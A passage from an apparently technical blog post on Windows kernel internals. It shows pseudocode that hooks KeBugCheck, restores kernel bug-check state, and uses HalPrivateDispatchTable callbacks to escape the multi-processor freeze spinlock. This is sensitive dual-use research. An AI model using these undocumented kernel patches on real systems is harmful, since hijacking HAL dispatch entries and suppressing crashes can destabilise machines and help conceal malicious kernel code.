&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;StackIt&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ContextAlignment&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s give it a try!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;BugCheckHook&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Try parsing BugCheck parameters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;EXCEPTION_RECORD&lt;/span&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;BugCheck&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ExceptionRecord&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If it is due to #BP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;STATUS_BREAKPOINT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Restore global state changes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;KiBugCheckActive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;KiHardwareTrigger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Log
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Discarding #BP at RIP = %p!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Continue execution
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BugCheck&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Continue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;__debugbreak&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="images/0.webp" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Yay, success! Right? No. Try this instead and watch your entire system lock down:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;KeIpiGenericCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ULONG64&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__debugbreak&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="images/1.webp" alt=""&gt;&lt;/p&gt;
&lt;h2 id="0x4-concurrency-is-a-thing"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; Concurrency is a thing&lt;/h2&gt;
&lt;p&gt;This happens because KeBugCheck is not meant to be executed multiple times, in fact it protects itself from this exact state using the KiBugCheckActive spinlock. If two or more processors raise an exception that was not meant to be raised concurrently and end up in KeBugCheck2, one will be taking the slave branch I called &lt;em&gt;HowAmISupposedToQuitFromThisSpinlockLol&lt;/em&gt; previously, appropriately.&lt;/p&gt;
&lt;p&gt;Providing the pseudocode for this branch should be enough to justify the naming of the branch.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;KeRaiseIrql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;HIGH_LEVEL&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KeGetCurrentProcessorIndex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KiBugCheckActive&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KeGetCurrentPrcb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IpiFrozen&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KiFreezeTargetExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_mm_pause&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unless we send a NMI manually, only way to escape from this is to somehow take control within KiFreezeTargetExecution. Let&amp;rsquo;s assume we set IpiFrozen=5 and analyze KiFreezeTargetExecution.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;KiFreezeTargetExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KiFreezeExecutionLock&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;KiFreezeLockBackup&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KiBugCheckActive&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ViVerifierEnabled&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;VfStopBranchTracing&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__writecr8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xFu&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KiStartDebugAccumulation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;KeGetCurrentPrcb&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeGetCurrentPrcb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IpiFrozen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;HalNotifyProcessorFreeze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;HalPrivateDispatchTable is a gift that never stops giving :)&lt;/p&gt;
&lt;p&gt;Freezing a processor only happens during boot, debugger and bug-check related events none of which we care. So the easiest way to get out of this situation is to set KiFreezeExecutionLock to true and IpiFrozen for each KPCRB to 5.&lt;/p&gt;
&lt;p&gt;All of our HAL callbacks will clear KiBugCheckActive, decrement KiHardwareTrigger, reset KPCRB-&amp;gt;IpiFrozen to 5 if HalNotifyProcessorFreeze and call a generic HandleBugCheck as implemented below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Get state at KeBugCheck(Ex) call
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcessorContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;KSPECIAL_REGISTERS&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;BugCheckState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcessorState&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Lower IRQL to DISPATCH_LEVEL where possible
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EFlags&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x200&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__writecr8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckState&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cr8&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_LEVEL&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;BugCheckState&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nl"&gt;Cr8&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_LEVEL&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Extract arguments of the original call, BugCheck::Parse may clobber them
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;BugCheckCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ULONG64&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ULONG64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x28&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Try parsing parameters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EXCEPTION_RECORD&lt;/span&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
